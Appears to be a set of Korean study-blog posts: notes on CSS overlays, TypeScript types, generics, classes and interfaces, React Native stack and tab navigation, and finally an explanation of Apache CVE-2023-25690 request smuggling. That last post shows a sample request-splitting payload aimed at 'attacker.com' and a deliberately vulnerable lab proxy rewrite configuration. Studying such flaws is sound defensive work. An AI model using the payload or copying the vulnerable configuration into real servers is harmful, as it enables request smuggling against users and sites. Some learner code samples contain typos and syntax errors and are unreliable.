absolute 후 부모 요소에 relative 설정

.QuizBox_wrapper{
    width: 100%; 
    max-width: 500px;
    position: relative; /* 부모 요소를 position: relative;로 설정 */
}
.HintBox_overlay,.AnsBox_overlay {
    position:absolute;
    width: 100%;
    height: 100%;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    z-index: 1; /* 다른 요소들보다 위에 올라가도록 설정 */
  }

-> 우선 quiz box wrapper를 만들어서 부모의 부모요소와 같은 css 설정을 주고 relative를 설정함 그다음 overlay 코드에 absolute를 적용해서 위를 가릴 수 있도록 설정

결과

전

후

이런 식으로 부모를 가리는 컴포넌트 오버레이 설정

4.1 Recap

class를 사용할 때 typescript와 javascript의 차이점

• protected, public, private 사용
• this 안써줘도 됨
• constructor 만들 때 접근제어자, 이름, 타입 써주기
• 추상 클래스
  • 추상 클래스 상속받으면 추상 클래스에서 구현한 함수 사용 가능
• 추상 메소드
  • 구현이 되어있지 않고 call signature만 가지고 있음
  • 추상 클래스를 상속받는 클래스에서 구현을 해야함

Hash Map

사전에 새 단어 추가, 단어 찾기, 단어 삭제 메소드

type Words = {
    [key:string]: string
}

class Dict {
    private words: Words
}

object의 Type을 선언해야할 때 씀 이 object는 제한된 양의 property만을 가질 수 있다 property의 이름은 모르지만 타입을 알 때 사용

type Words = {
    [key:string]: string
}

class Dict {
    private words: Words
    constructor(){ // constructor에서 수동으로 초기화
        this.words = {}
    }
    add(word:Word){
        if(this.words[word.term] === undefined){ // 사전에 단어가 존재하지 않으면
            this.words[word.term] = word.def
        }
    }
    def(term:string){
        return this.words[term]
    }
}

class Word {
    constructor(
        public term:string,
        public def: string
    ){}
}

const kimchi = new Word("kimchi","배추김치")

const dict = new Dict()

dict.add(kimchi)
dict.def("kimchi")

1. [key: string]: string 키, 값 쌍
2. private words: Words constructor(){ property가 constructor로부터 바로 초기화되지 않는 부분
3. add(word:Word) class를 type처럼 사용할 수 있다.

4.2 Interfaces

public이면서 맘대로 변경할수는 없도록 하려면 property를 readonly로

class Word {
    constructor(
        public readonly term:string,
        public readonly def: string
    ){}
}

readonly는 js에서 보이지않음

static static은 js에도 있는거

Interfaces

type 지정

type Nickname = string // 이렇게 alias로 사용 가능
type Health = number
type Friends = Array<string> // stirng[]
type Player = {
    nickname: Nickname,
    healthBar: Health
}

type을 지정된 옵션으로만 제한 가능

type Team = "red" | "blue" | "yellow"
type Health = 1 | 5 | 10

type Player = {
    nickname:string,
    team: Team,
    health: Health
}

const mk: Player = {
    nickname:"mk",
    team: "blue",
    health: 10
}

오브젝트의 모양을 설명하는 다른 방법인 인터페이스 인터페이스는 오직 한가지 용도만을 가지고 있음

• 오브젝트의 모양을 특정,설명해주는 것

  type Team = "red" | "blue" | "yellow"
  type Health = 1 | 5 | 10
  

interface Player { nickname:string, team: Team, health: Health }

const mk: Player = { nickname:"mk", team: "blue", health: 10 }

type 키워드는 interface보다 더 다양한 목적으로 활용 가능
- 오브젝트 모양 정의
- 특정 값으로 제한
- alias 만들기

```ts
interface User {
    name: string
}

interface Player extends User {
}

const mk: Player = {
    name: "mk"
}

인터페이스는 클래스와 닮았음 객체지향프로그래밍 방식 유사

type User = {
    name: string
}

type Player = User & {
}

const mk: Player = {
    name: "mk"
}

같은 코드를 type 방식으로 작성한 코드 interface 방식이 더 편리하고 직관적임

interface는 property를 축적시킬 수 있음

interface User {
    name: string
}
interface User {
    lastname: string
}
interface User {
    health: number
}

const mk: User ={
    name:'mk',
    lastname:'cyb',
    health:10
}

type으로는 이렇게 여러번 만드는거 할 수 없음

interface는 같은 인터페이스에 다른 이름을 가진 property들을 쌓을 수 있음

4.3 Interfaces part Two

abstract class를 사용하는 이유 다른 클래스들이 표준화된 property와 메소드를 갖도록 해주는 청사진을 만들기 위해 추상클래스를 사용

abstract class를 컴파일하면 그냥 class가 됨 interface 를 컴파일하면 사라짐 >> interface는 가벼움

abstract class를 interface로 바꾸기

인터페이스는 오브젝트나 클래스의 모양을 묘사하도록 해줌 인터페이스를 클래스가 쓸 때는 extends 대신 implements 를 써줘야함 implements는 js에 없는 문법

컴파일되면 인터페이스는 사라지므로 코드가 엄청 가벼워짐

인터페이스 사용해서 클래스가 원하는대로 행동하고 원하는 property를 가지도록 강제할수 있게됨

interface User {
    firstName:string,
    lastName:string,
    sayHi(name:string):string,
    fullName():string
}
class Player implements User {
    constructor(
        public firstName:string,
        public lastName:string,
    ){}
    fullName(){
        return `${this.firstName} ${this.lastName}`
    }
    sayHi(name:string){
        return `Hello ${name}. My name is ${this.fullName()}`
    }
}

interface를 상속할 때는 property가 private, protected가 될 수 없음 무조건 public만 가능 파일 사이즈 줄이고 싶으면 인터페이스 사용 interface에서는 constructor 사용할 수 없음

interface Human{
    health: number
}
...
class Player implements User,Human {
    constructor(
        public firstName:string,
        public lastName:string,
        public health:number
    ){}
...
}

여러 개의 interface 상속 가능

interface 타입 지정 가능

function makeUser(user: User): User{
    return {
        firstName:"aa",
        lastName:"bb",
        fullName: () => "xx",
        sayHi: (name: string) => "yy"
    }
}

makeUser({
    firstName:"aa",
    lastName:"bb",
    fullName: () => "xx",
    sayHi: (name: string) => "yy"
})

interface를 argument type으로 지정하거나 return type으로 지정할 수 있음 return 할 땐 new 안쓰고 그냥 objec로 return 해주면 됨

https://nomadcoders.co/typescript-for-beginners

3장 FUNCTIONS

3.2 Polymorphism

다형성(Polymorphism): 여러가지 다른 구조들

배열을 받아 타입에 상관없이 요소를 하나씩 출력해주는 함수 call signature 만들고 함수 만들기

polymorphism 사용 x

type SuperPrint = {
    (arr: number[]):void
    (arr: boolean[]):void
    (arr: string[]):void
}

const superPrint: SuperPrint = (arr) => {
    arr.forEach(i => console.log(i))
}

concrete type: 전부터 봐왔던 타입 (number, boolean, string, void, unknown) generic: 타입의 placeholder 같은 것, concrete type 대신 사용 가능

generic 사용

1. ts에 generic을 사용한다고 알려줌
2. 꺽쇠열고 원하는대로 제네릭 이름을 넣어줌
3. number (concrete type)을 generic 이름으로 바꿔줌

   type SuperPrint = {
    <TypePlaceholder>(arr: TypePlaceholder[]):void
   

}

const superPrint: SuperPrint = (arr) => { arr.forEach(i => console.log(i)) }

return 도 generic 사용 가능
```ts
type SuperPrint = {
    <TypePlaceholder>(arr: TypePlaceholder[]):TypePlaceholder

}

const superPrint: SuperPrint = (arr) => arr[0]

이렇게 함수가 다양한 형태를 가지고 있는 것을 polymorphism이라고 함 타입스크립트가 타입을 유추하고 call signature로 바꿔줌

3.3 Generics Recap

generic 대신 any를 쓰면 d.toUpperCase() 이런걸 하면 오류가 남 generic을 써야 ts가 call signature를 만들어줘서 사전에 오류를 잡아줌

generic 2개 사용하기 ts는 generic이 처음 사용되는 지점을 기반으로 타입이 뭔지 알게 됨

type SuperPrint = <T,M>(a: T[], b: M) => T
const superPrint: SuperPrint = (arr) => arr[0]

3.4 Conclusions

사용 사례

1. 함수 만들기

   function superPrint<V>(a: V[]){
    return a[0]
   }
   

const a = superPrint([1,2,3,4])

2. 타입 생성하기, 타입 확장하기

```ts
type Player<E> = {
    name: string
    extraInfo:E
}
type MkExtra = {
    favFood:string
}
type MkPlayer = Player<MkExtra>

const mk: MkPlayer = { // const mk: Player<{favFood:string}>
    name: "mkcyb",
    extraInfo: {
        favFood: "hamburger"
    }
}

const lynn: Player<null> = {
    name: "lynn",
    extraInfo:null
}

3. 대부분의 기본적인 타입스크립트 타입은 generic

Array를 생성하는데 제네릭을 받고 있음

type A = Array<number>

let a:A = [1,2,3,4]

function printAllNumbers(arr: Array<number>){ // number[]의 generic 사용 표현

}

패키지나 라이브러리에 제네릭을 사용한 타입이 지정된 함수 많이 사용됨

4장 CLASSES AND INTERFACES

4.0 Classes

차이점 this.firstName 이렇게 안적어도 컴파일러가 변환해줌 private 부분이 JavaScript에서는 보이지 않음

ts 에서는 private으로 지정한 것을 사용할 수 없음 js는 아무 문제없이 작동

추상 클래스

추상클래스는 다른 클래스가 상속받을 수 있는 클래스 하지만 직접 새로운 인스턴스를 만들 수는 없음

abstract class User {
    constructor(
        private firstName: string,
        private lastName: string,
        public nickname: string,
    ) {}
}
class Player extends User{

}

const mk = new Player("mk","cyb","yoz");

const mk2 = new User("mk","cyb","yoz");

추상클래스 안의 메소드

abstract class User {
    constructor(
        private firstName: string,
        private lastName: string,
        public nickname: string,
    ) {}
    getFullName(){
        return `${this.firstName} ${this.lastName}`
    }
}
class Player extends User{

}

const mk = new Player("mk","cyb","yoz");

mk.getFullName()

Player는 User로부터 이 메소드를 상속받았으므로 메소드를 그냥 쓸 수 있음 public, private은 property 뿐 아니라 method에서도 작동함

컴파일된 js 코드를 보면 abstract이 없음

추상 메소드 (abstract method) 추상 메소드는 메소드를 구현하면 안되고 메소드의 call signature만 적어야 함 추상 메소드는 추상 클래스를 상속받는 모든 것들이 구현해야하는 메소드를 의미

abstract class User {
    constructor(
        private firstName: string,
        private lastName: string,
        private nickname: string,
    ) {}
    abstract getNickName(): void
    getFullName(){
        return `${this.firstName} ${this.lastName}`
    }
}
class Player extends User{

}

const mk = new Player("mk","cyb","yoz");

mk.getFullName()

상속받고 구현하지 않으면 구현해야한다고 위처럼 알려줌

private 으로 지정된 property들은 인스턴스 밖에서 접근할 수 없고 다른 자식 클래스에서도 접근할 수 없음 외부로부터 보호되지만 자식 클래스가 쓸 수 있게하려면 private 대신 protected를 써야함

abstract class User {
    constructor(
        protected firstName: string,
        protected lastName: string,
        protected nickname: string,
    ) {}
    abstract getNickName(): void
    getFullName(){
        return `${this.firstName} ${this.lastName}`
    }
}
class Player extends User{
    getNickName(){
        console.log(this.nickname) // protected 상속 받아서 접근 가능
    }
}

const mk = new Player("mk","cyb","yoz");

mk.getFullName()
mk.firstName // protected 외부에서 접근 불가로 에러

https://nomadcoders.co/typescript-for-beginners

2장 Overview of TypeScript

2.3 Types of TS part Two

readonly type

읽기 전용으로 만들어줌

type Player = {
    readonly name: string, // 변수명 앞에 붙여줌
    age?:number
}

const playerMaker = (name: string) : Player => ({name})

const mk = playerMaker("mk")

mk.age=10
mk.name = "las" // readonly 이므로 에러 뜸

const names: readonly string[] = ["1", "2"]

Tuple

Tuple 은 array를 생성할 수 있게 해줌 최소 길이가 있고 특정 위치에 특정 타입이 있어야 함 항상 정해진 개수의 요소를 가져야하는 array를 지정할 수 있다. 원하는 순서에 맞는 타입을 가져야 함.

const player: [string, number, boolean] = ['mk', 1, true]
player[0] = 1 // 첫 번째 index는 항상 string 이어야 하기 때문에 에러 뜸
const player2: readonly [string, number, boolean] = ['mk', 1, true] // readonly로 할 수 도 있음

JS도 갖고있는 다른 type들

undefined : optional type은 undefined일 수 있음 null any : 비어있는 값들의 기본값, any는 typescript를 빠져나오고 싶을 때 쓰는 문법. 아무 타입이나 될 수 있음

const a : any[] = [1,2,3,4]
const b : any = true

a + b // any 로 타입을 지정해서 에러 뜨지 않음

독특한 typescript type들

TS에서만 존재 unknown 확인하는 작업을 해야함 변수의 타입을 미리 알지 못할 때 unknown 사용

let a: unknown

if(typeof a === 'number'){ // 확인 안하면 에러 뜸, 이 범위 안에서는 a 가 number
    let b = a+1
}

void 아무것도 return하지 않는 함수를 대상으로 사용 보통 void를 따로 지정해줄 필요는 없음. ts가 자동으로 아무것도 return 하지 않는걸 인식

never never은 함수가 절대 return하지 않을 때 발생

function hello():never{
    throw new Error("xxx") // return 하지 않고 오류를 발생시키는 함수
}

type이 두가지인 상황에 발생 가능

function hello(name:string|number){
    if(typeof name === "string"){
        name // string
    } else if (typeof name === "number"){
        name // number
    } else {
        name // never
    }
}

3장 FUNCTIONS

3.0 Call Signatures

인자의 타입과 반환 타입을 알려줌 함수 위에 올리면 뜨는거

이걸 이용해 함수를 구현하기 전 type을 만들어 주고 함수가 어떻게 작동하는지 서술해줄 수 있음

type Add = (a:number, b:number) => number; 

const add:Add = (a,b) => a+b // 함수의 타입을 알려주면 타입 지정해줄 필요 없음 call signature를 알아서

reactjs를 쓸 때 props로 함수를 보내게 되면 타입스크립트한테 함수가 어떻게 작동하는지 설명해줘야한다. 이 때 이걸 많이 씀 구현할 때 타입을 먼저 생각하고 작성

3.1 Overloading

패키지나 라이브러리에서 오버로딩 많이 사용해서 중요함 오버로딩은 여러개의 call signatures를 가지고 있을 때 발생함

type Add = {
    (a:number, b:number) : number
    (a:number, b:string) : number

}

const add:Add = (a,b) => {
    if(typeof b === "string") return a
    return a+b
}

overloading 활용 push 구현

type Config = {
    path: string,
    state: object
}
type Push = {
    (path:string):void
    (config: Config):void
}

const push: Push = (config) => {
    if(typeof config === "string") console.log(config) // config는 string 타입
    else{
        console.log(config.path) // config는 Config 타입
    }
}

인자의 수가 다를 때 overloading

type Add = {
    (a:number,b:number):number,
    (a: number, b: number, c: number): number,
}

const add: Add = (a,b,c) => {
    return a+b+c
}

이런 식으로 쓰면 안됨

Type '(a: number, b: number, c: number) => number' is not assignable to type 'Add'. Target signature provides too few arguments. Expected 3 or more, but got 2.

이런 오류 뜸

수정 코드

type Add = {
    (a:number,b:number):number,
    (a: number, b: number, c: number): number,
}

const add: Add = (a,b,c?:number) => { // optional임을 알려줘야함
    if(c) return a+b+c
    return a+b
}

https://nomadcoders.co/typescript-for-beginners

1장 Introduction

1.5 Why not JavaScript

자바스크립트에서 점점 타입스크립트로 넘어가는 이유 안전성, 즉 타입 안전성 때문. 버그가 많이 줄어듦 자바스크립트: flexible 함. 런타임 에러 발생 타입스크립트는 이런 것을 방지해줌 ex) 배열 + boolean 허용 x, 인자가 2개 필요한 함수에 하나만 전달 했을 때 실행 x, 없는 함수 실행 x

2장 Overview of TypeScript

2.0 How Typescript Works

타입스크립트 코드는 컴파일러가 자바스크립트로 변환해줌 브라우저는 자바스크립트를 이해하기 때문 타입 스크립트가 개발자를 보호하는 방법: 보호장치는 타입스크립트가 자바스크립트로 변환되기 전 발생 타입스크립트 코드에 에러가 있으면 코드는 자바스크립트로 컴파일되지 않음

타입스크립트로 작성된 잘못된 코드를 보면, 런타임 전에 미리 개발자에게 hello() 가 없다고 경고해줌

Operator '+' cannot be applied to types 'number[]' and 'boolean'.

위와 같은 에러메세지 확인 가능. 이는 이전 자바스크립트에서는 그냥 실행 됐던 에러임.

divide 함수가 2개의 인자가 필요하기 때문에 에러가 뜸. 이런 보호장치가 생기는 이유는 타입 추론 때문.

2.1 Implicit Types vs Explicit Types

자바스크립트: 변수의 타입을 지정하지 않고 그냥 만듦 타입스크립트: 두가지 방식을 결합.

1. 데이터와 변수의 타입을 명시적으로 정의, 명시적 표현은 최소한으로 사용하는게 좋음

   // Explicit Types
   let a : boolean = "x" // boolean이 아니기 때문에 error 
   //이때 ": boolean" 이 문법이 typescript의 문법
   let b : boolean = false
   let c : number[] = [] // 배열의 값이 없을 때는 추론할 수 없으니 명시적으로 써줌

2. javascript처럼 변수만 생성하고 넘어갈 수 있음. Typescript가 타입 추론을 해줌

// Implicit Types
let a = "hello" // ts가 type을 string 이라고 추론해줌
a = "bye" // string을 string으로 바꾸었기 때문에 error x
a = 1 // string을 number 로 바꿔서 error o

2.2 Types of TS part One

타입종류 number, string, boolean, array

문법 : 타입명

let a : number = 1;
let b : string = "i1";
let c : boolean = true;

// 각 타입의 array -> 옆에 대괄호 붙여주면 됨
let a1 : number[] = [1];
let b1 : string[] = ["i1"];
let c1 : boolean[] = [true];

optional type

선택적 변수 어떤 객체에 변수가 있을 수 도 있고 없을 수 도 있을때, 변수 타입을 명시할 때 옆에 물음표를 붙여준다.

const player : {
    name: string,
    age?: number // age?: number | undefined;
}
} = {
    name: "mkcyb"
}

위의 코드는 player 객체에는 두 가지 변수가 있는데, name은 string이고 age는 number면서 optional임을 명시적으로 알려주는 코드이다.

alias(별칭) type

더 적은 코드를 쓸 수 있게 해줌 시작은 대문자로 시작 object 뿐 아니라 string, number등등 다른 타입도 모두 가능

// before : 객체 만들 때마다 계속 같은 코드를 반복적으로 씀
const playerA : {
    name: string,
    age?: number // age?: number | undefined;
}
} = {
    name: "mkcyb"
}
const playerB : {
    name: string,
    age?: number // age?: number | undefined;
}
} = {
    name: "MKKMK",
     age: 10
}



// after: 코드 단축
type Player = {
    name: string,
    age?:number
}

const a : Player = {
    name: "mkcyb"
}
const b : Player = {
    name: "mk"
    age: 10
}

return type 설정

type Player = {
    name: string,
    age?:number
}

function playerMaker(name: string) : Player { // string을 인자로 받고, Player type을 return
    return {
        name
    }
}

const mk = playerMaker("mk")

mk.age=10

type Player = {
    name: string,
    age?:number
}

const playerMaker = (name: string) : Player => ({name}) // 화살표 함수도 같은 방식으로 콜론 씀

const mk = playerMaker("mk")

mk.age=10

: (콜론) 사용법

1. 변수 뒤에 (let a :)
2. argument 뒤에 (function playerMaker(name: string))
3. 함수명 뒤에 (function playerMaker(name: string) : Player)

처음 배우는 리액트 네이티브 - 김범준

8장 내비게이션

8.3 탭 내비게이션

탭 내비게이션은 보통 화면 위나 아래에 위치 탭 버튼을 누르면 버튼과 연결된 화면으로 이동하는 방식 다음 명령어로 추가 라이브러리 설치

npm install @react-navigation/bottom-tabs

8.3.1 화면 구성

src/screens/TabScreens.js

import React from "react";
import styled from 'styled-components/native';

const Container = styled.View`
    flex: 1;
    justify-content: center;
    align-items: center;
`;

const StyledText = styled.Text`
    font-size: 30px;
`;

export const Mail = () => {
    return (
        <Container>
            <StyledText>Mail</StyledText>
        </Container>
    );
};

export const Meet = () => {
    return (
        <Container>
            <StyledText>Meet</StyledText>
        </Container>
    );
};

export const Settings = () => {
    return (
        <Container>
            <StyledText>Settings</StyledText>
        </Container>
    );

};

src/navigations/Tab.js

import React from "react";
import { createBottomTabNavigator } from "@react-navigation/bottom-tabs";
import { Mail, Meet, Settings } from "../screens/TabScreens";

const Tab = createBottomTabNavigator();

const TabNavigation = () => {
    return (
        <Tab.Navigator>
            <Tab.Screen name="Mail" component={Mail} />
            <Tab.Screen name="Meet" component={Meet} />
            <Tab.Screen name="Settings" component={Settings} />
        </Tab.Navigator>
    );
};

export default TabNavigation;

createBottomTabNavigator()를 이용해 탭 내비게이션 생성 Navigator 컴포넌트, Screen 컴포넌트가 있음

App.js 에 추가

탭 바 순서 변경하고 싶으면 initialRouteName 속성 이용

8.3.2 탭 바 수정하기

버튼 아이콘 설정 버튼 아이콘 렌더링: tabBarIcon 이용. color, size, focused 값을 포함한 객체가 파라미터로 전달됨

...
import { MaterialCommunityIcons } from '@expo/vector-icons';

const TabIcon = ({ name, size, color }) => {
    return <MaterialCommunityIcons name={name} size={size} color={color} />
}

const Tab = createBottomTabNavigator();

const TabNavigation = () => {
    return (
        <Tab.Navigator>
            <Tab.Screen 
            name="Mail" 
            component={Mail}
            options={{
                tabBarIcon: props => TabIcon({ ...props, name: 'email'}),
            }} 
            />
            <Tab.Screen 
            name="Meet" 
            component={Meet}
            options={{
                tabBarIcon: props => TabIcon({ ...props, name: 'video'}),
            }} 
            />
            <Tab.Screen 
            name="Settings" 
            component={Settings} 
            options={{
                tabBarIcon: props => TabIcon({ ...props, name: 'cog'}),
            }}
            />
        </Tab.Navigator>
    );
};
...

Screen 컴포넌트마다 tabBarIcon에 MaterialCommunityIcons 컴포넌트를 반환하는 함수를 지정함

Screen 컴포넌트마다 아이콘을 지정하지 않고 한 곳에서 몸든 버튼의 아이콘을 관리하고 싶을 경우 Navigator 컴포넌트의 screenOprions 속성을 사용해서 관리

라벨 수정 tabBarLabel을 이용해서 변경가능 라벨을 아이콘 옆에 렌더링하고 싶으면 tabBarOptions의 labelPosition의 값을 변경해서 조정 가능

tabBarOptions={{ labelPosition: 'beside-icon' }}

라벨을 렌더링 하지 않고 아이콘만 사용하는 경우 showLabel을 사용

tabBarOptions={{ labelPosition: 'beside-icon', showLabel: false }}

스타일 수정

탭 바 배경색은 흰색이 기본값 tabBarOptions의 style의 값으로 스타일 객체를 설정하여 조정 가능

tabBarOptions={{ 
               labelPosition: 'beside-icon', 
               showLabel: false,
               style: {
                   backgroundColor: '#54b7f9',
                borderTopColor: '#fff',
                   borderTopWidth: 2,
              }
              }}

아이콘 색상 변경 선택되어 활성화 상태의 색: activeTintColor 선택되지 않은 비활성화 상태의 색: inactiveTintColor

tabBarOptions={{ 
               labelPosition: 'beside-icon', 
               showLabel: false,
               style: {
                   backgroundColor: '#54b7f9',
                borderTopColor: '#fff',
                   borderTopWidth: 2,
              },
                  activeTintColor: '#fff',
                inactiveTintColor: '#0b92e9',
              }}

focused 상태에 따라 다른 아이콘 렌더링

...
const TabNavigation = () => {
    return (
            ...
            <Tab.Screen 
            name="Meet" 
            component={Meet}
            options={{
                tabBarIcon: props => 
                     TabIcon({
                     ...props,
                     name: props.focuesd ? 'video' : 'vidieo-outline',
                    }),
            }} 
            ...
    );
};
...

+) 드로어 내비게이션: 메뉴를 감춰서 공간을 절약

처음 배우는 리액트 네이티브 - 김범준

8장 내비게이션

8.1 리액트 내비게이션

리액트 내비게이션 종류 3가지: 스택, 탭, 드로어

8.1.1 내비게이션의 구조

• NavigationContainer 컴포넌트: 내비게이션 계층구조와 상태를 관리하는 컨테이너 역할, 모든 내비게이션 구성요소를 감싼 최상위 컴포넌트
• Navigator 컴포넌트: 화면을 관리하는 중간 관리자 역할
• Screen 컴포넌트: 화면으로 사용되는 컴포넌트로 name 과 속성 지정, navigation과 route가 props 로 전달됨

8.1.2 설정 우선 순위

속성 수정 방법 3가지

• Navigatior 컴포넌트의 속성으로 수정: 모든 자식 컴포넌트에 적용
• Screen 컴포넌트의 속성으로 수정
• 화면으로 사용되는 컴포넌트의 props로 전달되는 navigation 이용해서 수정

작은 범위의 설정일수록 우선순위가 높음

8.1.3 설치

npm install --save @react-navigation/native

expo install react-native-gesture-handler react-native-reanimated reac
t-native-screens react-native-safe-area-context @react-native-community/masked-view

8.2 스택 내비게이션

npm install @react-navigation/stack

현재 화면에 다른 화면을 쌓으면서 화면을 이동하는 것이 특징 화면 위에 새로운 화면을 쌓으면서 (push) 이동하므로 화면을 pop 해서 이전 화면으로 돌아갈 수 있음

8.2.1 화면 구성

src/screens/Home.js

import React from "react";
import { Button } from 'react-native';
import styled from 'styled-components/native';

const Container = styled.View`
    align-items: center;
`;

const StyledText = styled.Text`
    font-size: 30px;
    margin-bottom: 10px;
`;

const Home = () => {
    return (
        <Container>
            <StyledText>Home</StyledText>
            <Button title="go to the list screen" />
        </Container>
    );
};

export default Home;

화면을 확인하기 위한 텍스트와 List 화면으로 이동하기 위한 버튼

src/screens/List.js

import React from "react";
import { Button } from 'react-native';
import styled from 'styled-components/native';

const Container = styled.View`
    flex: 1;
    justify-content: center;
    align-items: center;
`;

const StyledText = styled.Text`
    font-size: 30px;
    margin-bottom: 10px;
`;

const items = [
    { _id: 1, name: 'React Native' },
    { _id: 2, name: 'React Navigation' },
    { _id: 3, name: 'mk' },
];

const List = () => {
    const _onPress = item => {};
    return (
        <Container>
            <StyledText>List</StyledText>
            {items.map(item => (
                <Button
                key={item._id}
                title={item.name}
                onPress={() => _onPress(item)}
                />
            ))}

        </Container>
    );
};

export default List;

화면에서 사용할 목록

src/screens/Item.js

import React from "react";
import styled from 'styled-components/native';

const Container = styled.View`
    flex: 1;
    justify-content: center;
    align-items: center;
`;

const StyledText = styled.Text`
    font-size: 30px;
    margin-bottom: 10px;
`;

const Item = () => {
    return (
        <Container>
            <StyledText>Item</StyledText>            
        </Container>
    );
};

export default Item;

목록의 상세 정보 보여주는 컴포넌트

src/navigations/Stack.js

import React from "react";
import { createStackNavigator } from "@react-navigation/stack";
import Home from "../screens/Home";
import List from "../screens/List";
import Item from "../screens/Item";

const Stack = createStackNavigator();

const StackNavigation = () => {
    return(
        <Stack.Navigator>
            <Stack.Screen name="Home" component={Home} />
            <Stack.Screen name="List" component={List} />
            <Stack.Screen name="Item" component={Item} />
        </Stack.Navigator>
    );
};

export default StackNavigation;

• createStackNavigator 함수를 이용해서 스택 내비게이션 생성
• Screen 컴포넌트와 Screen을 관리하는 Navigator 컴포넌트로 구성
• Screen 컴포넌트의 component 속성으로 아까 만든 컴포넌트를 넣음
• Screen 의 name은 반드시 서로 다른 값을 가져야함

src/App.js

import React from 'react';
import { NavigationContainer } from '@react-navigation/native';
import StackNavigation from './navigations/Stack';

const App = () => {
    return (
    <NavigationContainer>
        <StackNavigation />
    </NavigationContainer>
    );
};

export default App;

NavigationContainer 컴포넌트로 감싸줌

스택 내비게이션에서 첫 번째로 나오는 화면은 Navigator 컴포넌트의 첫 번째 자식 Screen 컴포넌트 다른 컴포넌트를 먼저 보여주고 싶으면 initialRouteName 속성을 지정해줄 수 있음

8.2.2 화면 이동

Screen의 component로 지정된 컴포넌트는 navigation이 props로 전달됨 navigate() 를 이용해서 원하는 화면으로 이동 가능

src/screens/Home.js

...
const Home = ({ navigation }) => {
    return (
        <Container>
            <StyledText>Home</StyledText>
            <Button 
            title="go to the list screen"
            onPress={() => navigation.navigate('List')}
            />
        </Container>
    );
};
...

navigation 에 navigate 함수를 이용해서 원하는 화면의 이름을 전달하면 해당 화면으로 이동 name 값 중 하나를 입력

src/screens/List.js

...
const List = ({ navigation }) => {
    const _onPress = item => {
        navigation.navigate('Item', {id: item._id, name: item.name });
    };
...

목록을 클릭하면 정보와 함께 Item 화면으로 이동 Item 화면으로 이동하면서 id 와 name을 함께 전달 props로 전달되는 route의 params를 통해 확인 가능

src/screens/Item.js

...
const Item = ({route}) => {
    return (
        <Container>
            <StyledText>Item</StyledText>
            <StyledText>ID: {route.params.id}</StyledText>     
            <StyledText>Name: {route.params.name}</StyledText>                 
        </Container>
    );
};
...

8.2.3 화면 배경색 수정

리액트 내비게이션의 설정을 수정하여 변경 가능 cardStyle 을 이용하면 스택 내비게이션의 화면 배경색 수정 가능 배경색은 Navigator 컴포넌트의 screenOptions에 설정해서 화면 전체에 적용되도록 하는게 편리함 Stack.js

        <Stack.Navigator
            screenOptions={{ cardStyle: {backgroundColor: '#fff4e6'} }}
        >
            ...
        </Stack.Navigator>

8.2.4 헤더 수정하기

타이틀 타이틀은 name 속성을 기본으로 사용 headerTitle을 사용해서 수정

스타일 헤더의 스타일을 수정하는 속성

• headerStyle: 헤더의 배경색 등 수정
• headerTitleStyle: 헤더의 타이틀 컴포넌트 스타일 수정

        <Stack.Navigator
            screenOptions={{ 
                cardStyle: {backgroundColor: '#fff4e6'},
                headerStyle: {
                    height: 110,
                    backgroundColor: '#4b3832',
                },
                headerTitleStyle: { color: '#fff4e6' },
            }}

        >
            ...
        </Stack.Navigator>

타이틀 컴포넌트 headerTitle 옵션에 컴포넌트를 반환하는 함수를 지정해서 컴포넌트 교체 가능

버튼 수정하기 등등

Apache HTTP Request Smuggling Vulnerability CVE-2023-25690 문서를 해석하고 정리해보았다.

Apache HTTP Request Smuggling Vulnerability CVE-2023-25690

Severity:High

개념 정리

HTTP Request Smuggling

여러 개의 HTTP 요청이 서버나 프록시에서 잘못 처리되어 공격자가 의도하지 않은 작업을 수행하도록 하는 기술

주로 여러 HTTP 요청이 동일한 연결(Connection)을 통해 전송될 때 발생

이 때, 각 요청의 헤더(Content-Length 등)를 잘못 계산하거나 해석함으로써 공격자는 서버나 프록시에서 의도하지 않은 효과를 얻을 수 있음

proxy

중간 서버 역할

캐싱:

• 프록시는 이전에 받은 응답을 저장하여 동일한 요청에 대해 캐시된 응답을 제공
• 서버에 대한 부하를 줄이고 응답 시간을 단축

HTTP Request Splitting

웹 서버가 해석하는 HTTP 요청을 여러 개의 요청으로 분리하여 처리하도록 유도하는 공격

공격자는 여러 개의 HTTP 요청이 하나의 요청으로 해석되는 상황을 만들어낼 수 있다. 공격의 핵심은 HTTP 헤더를 특정한 방식으로 조작하여 여러 요청을 나누는 것

example

1. 원래의 HTTP 요청:

GET /path HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0

1. Request Splitting을 이용한 공격:

GET /path HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0

Injected-Header: Evil-Request
Content-Length: 0

GET /malicious-path HTTP/1.1
Host: attacker.com
User-Agent: Mozilla/5.0

Injected-Header와 Content-Length를 이용하여 원래의 요청을 두 개의 요청으로 나누었다.

CRLF(Carriage Return Line Feed) Injection

공격자가 입력 데이터에 제어 문자인 CRLF 문자열을 삽입하여 응용프로그램의 동작을 변경하거나 공격자에게 유리한 상황을 만들어내는 공격

CRLF 문자열은 캐리지 리턴 (\r)과 라인 피드 (\n)로 이루어져 있다. 이 문자열은 텍스트 기반 프로토콜에서 줄 바꿈을 나타내는데 사용. 주로 HTTP 헤더의 종료와 새로운 헤더의 시작을 나타내는 데 사용되기 때문에, CRLF Injection은 HTTP 헤더 인젝션 공격으로도 알려져 있다.

취약점 개요

아파치 HTTP 서버 버전(2.4.0에서 2.4.55까지)에서는 mod_proxy 모듈의 특정 구성이 HTTP Request Smuggling 공격을 허용할 수 있다. 이 취약점은 mod_proxy가 활성화되어 있고 RewriteRule 또는 ProxyPassMatch와 함께 사용될 때 발생. 특히, RewriteRule이나 ProxyPassMatch에서 사용자가 제공한 요청-대상(URL) 데이터의 일부를 비구체적인 패턴과 일치시키고, 그 후에 해당 패턴이 변수 대체를 통해 프록시된 요청-대상으로 다시 삽입될 때 영향을 받음

lab structure

lab/
├── backend
│   ├── Dockerfile
│   └── src
│       ├── categories.php
│       └── index.php
├── docker-compose.yml
└── frontend
    ├── Dockerfile
    └── httpd.conf

httpd.conf

ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common

# Load necessary modules 
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so

<VirtualHost *:80>

    RewriteEngine on
    RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
    ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"

